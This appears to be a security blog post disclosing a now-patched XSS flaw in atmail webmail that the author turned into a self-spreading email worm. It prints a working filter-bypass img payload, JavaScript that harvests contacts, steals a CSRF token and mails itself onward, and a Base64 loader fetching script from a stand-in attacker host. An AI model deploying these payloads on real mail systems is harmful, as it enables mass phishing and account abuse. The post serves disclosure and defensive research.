Atmail is a popular provider for cloud-based and on-premises email hosting. It is used by companies, hosting providers, and ISPs including DreamHost, LegalShield (US), m:tel (Bosnia), iiNet, and Optus (Australia).
Being an atmail user on DreamHost, and having seen several impressive email-based cross-site scripting (XSS) attacks during my work with bug bounty programs, I attempted to find a vulnerability in their webmail front-end. I had a working payload a few hours later, but wanted to take it a step further by building an old-school XSS worm. The most well-known example of an XSS worm affected MySpace in 2005, with a more recent variation targeting TweetDeck in 2014.
In this post, I’ll demonstrate building an XSS payload that propagates itself through a victim’s contacts.
The Testing Environment
Before starting, I prepared a simple testing environment. Emails were sent using a command like the following, piping the XSS test payloads within content into mail:
cat content | mail -a "Content-type: text/html" -s "test" [email protected]
I then used the Firefox Developer Tools to view how the XSS payload was rendered in the DOM of the webmail client.
Building the XSS Payload
The first step was to build an XSS payload that would survive atmail’s content filtering intact. I started by sending an email containing every valid HTML tag to see which ones would remain after it was delivered, although I eventually decided to use the <img> tag. While <img> lends itself well to building XSS payloads, its disadvantage is that the victim must decide to “Display Images” within atmail before the XSS will trigger. It is likely a better payload could be developed using a tag which renders without further user interaction.
Next, I began taking notes on how atmail sanitized my payloads. I needed to observe how atmail manipulated the characters and HTML attributes in the <img> tag in order to evade the filter and render a syntactically-correct tag in the victim’s browser. By sending an <img> tag containing every valid attribute(1), I noticed that only the src, alt, longdesc, style, height, and width attributes were permitted. Additionally, I noticed several modifications to my payload, such as converting single quotes to double quotes, removing the onerror event, and removing any <img> tag without a src attribute.
Although the onerror event was removed, I suspected the conversion of single to double quotes might help evade the whitelist if both were used in the <img> tag. In the end, this suspicion proved correct, although I had to use the set of double quotes across two <img> tags. The below is the working XSS payload:
<img longdesc="src='x'onerror=alert(document.domain);//><img " src='showme'>
This was rendered as the following in the webmail client:
<img longdesc="src=" images="" stop.png"="" onerror="alert(document.domain);//"" src="x" alt="showme">
Without viewing the application source code, it is impossible to know exactly what changes are being made to my payload before it is delivered. However, it appears that atmail interprets the single and double quotes in such a way that the two <img> tags are combined into one. Including the onerror event in the longdesc attribute has allowed it through the content filter and rendered the XSS correctly after processing.
Building the Worm
After finding a working XSS vector, the next step was to create a payload to spread my email worm. I wrote some JavaScript that executes in three steps:
- Extract a victim’s contacts list
- Grab a valid CSRF token from atmail
- Send an email to each of the victim’s contacts
This code resembled the following, with the XSS payload included in the block of URL-encoded text:
//HTTP request to grab victim's contacts xmlHttp=new XMLHttpRequest(); xmlHttp.open('GET','/index.php/mail/contacts/viewcontacts/GroupID/0',false); xmlHttp.send(null); response=xmlHttp.responseText;
//Extract email addresses and filter duplicates var extractedemails = response.match(/[A-Z0-9._%+-]+@[A-Z0-9.-]+.[A-Z]{2,4}/igm); var uniqueemails = []; for(var i = 0; i < extractedemails.length; i++){if (uniqueemails.indexOf(extractedemails[i]) == -1) uniqueemails.push(extractedemails[i]);}
//HTTP request to get CSRF token xmlHttp.open('GET','/index.php/mail/contacts',false); xmlHttp.send(null); response2=xmlHttp.responseText; var csrftoken = response2.match(/name=\"atmailCSRF" value=\"(.+?)\"/im);
//Loop through contacts and send email for (var i = 0; i < uniqueemails.length; i++) { xmlHttp.open('POST','/index.php/mail/composemessage/send',false); var params = 'atmailCSRF=' + csrftoken[1] + '&emailTo=' + unique[i] + '&emailSubject=open%20me&emailBodyHtml=%3c%68%33%3e%61%74%6d%61%69%6c%20%65%6d%61%69%6c%20%58%53%53%20%77%6f%72%6d%3c%2f%68%33%3e%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0a%3c%69%6d%67%20%6c%6f%6e%67%64%65%73%63%3d%22%73%72%63%3d%27%78%27%6f%6e%65%72%72%6f%72%3d%65%76%61%6c%28%77%69%6e%64%6f%77%2e%61%74%6f%62%28%27%61%57%35%6a%62%48%56%6b%5a%54%31%6b%62%32%4e%31%62%57%56%75%64%43%35%6a%63%6d%56%68%64%47%56%46%62%47%56%74%5a%57%35%30%4b%43%64%7a%59%33%4a%70%63%48%51%6e%4b%54%74%70%62%6d%4e%73%64%57%52%6c%4c%6e%4e%79%59%7a%30%6e%61%48%52%30%63%48%4d%36%4c%79%39%68%64%48%52%68%59%32%74%6c%63%69%35%6a%62%32%30%76%59%58%52%74%59%57%6c%73%4c%6d%70%7a%4a%7a%74%6b%62%32%4e%31%62%57%56%75%64%43%35%6f%5a%57%46%6b%4c%6d%46%77%63%47%56%75%5a%45%4e%6f%61%57%78%6b%4b%47%6c%75%59%32%78%31%5a%47%55%70%4f%77%3d%3d%27%29%29%3b%2f%2f%3e%3c%69%6d%67%20%22%20%73%72%63%3d%27%73%68%6f%77%6d%65%27%3e'; xmlHttp.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); xmlHttp.send(params);
At first, I attempted to Base64-encode a minified version of this JavaScript and include it within the onerror event of the XSS payload. It would then be decoded and executed using eval(atob()), as shown below:
<img longdesc=" xss/ src='x'onerror=eval(window.atob('eGg9bmV3IFhNTEh0dHBS…omitted for brevity…'));//><img " src='showme'>
However, I noticed that atmail limited my Base64 string to 945 characters, which was too short. Instead of including the entire script in the onerror event, I hosted it at an external location, then rewrote my XSS payload like the following:
onerror="include=document.createElement('script');include.src='https://attacker.com/atmail.js';document.head.appendChild(include);"
The payload shown above creates a new <script> tag in the <head> element of the page, including my malicious externally-hosted JavaScript. This was also Base64-encoded, making the final payload as follows:
<img longdesc="src='x'onerror=eval(window.atob('aW5jbHVkZT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtpbmNsdWRlLnNyYz0naHR0cHM6Ly9hdHRhY2tlci5jb20vYXRtYWlsLmpzJztkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKGluY2x1ZGUpOw=='));//><img " src='showme'>
With everything in place, the worm was now functional. This video demonstrates it in action:
An XSS worm on atmail would benefit spammers and other malicious actors who would benefit from manipulating victims into sending arbitrary messages to their contacts list. Because of its viral nature and the additional trust associated with email received from a known contact, this attack would be well-suited for spam, malware delivery, or phishing attacks.
Disclosure Timeline:
After discovering this vulnerability, I began the responsible disclosure process with atmail. As of May 25, 2017, they have remediated the issue, which can be patched by upgrading to atmail version 7.8.0.2.
- 2017-02-24 – Vulnerability reported
- 2017-02-27 – Report acknowledged
- 2017-05-25 – Patch released
References
(1)
<img src="x" align="left" alt="test" border="1px" crossorigin="anonymous" height="100px" hspace="100px" ismap longdesc="test" sizes="(min-width: 600px) 200px, 50vw" srcset="test.png 2x" usemap="#test" vspace="100px" width="100px">
Supercomputer image by Dennis van Zuijlekom
Subscribe to Bishop Fox's Security Blog
Be first to learn about latest tools, advisories, and findings.
Thank You! You have been subscribed.
Recommended Posts
You might be interested in these related posts.
Sep 24, 2024
Broken Hill: A Productionized Greedy Coordinate Gradient Attack Tool for Use Against Large Language Models
Sep 11, 2024
Exploring Large Language Models: Local LLM CTF & Lab
Jul 02, 2024
Product Security Review Methodology for Traeger Grill Hack
Jun 06, 2024
The Unmask IAM Permission: API Gateway Access Logging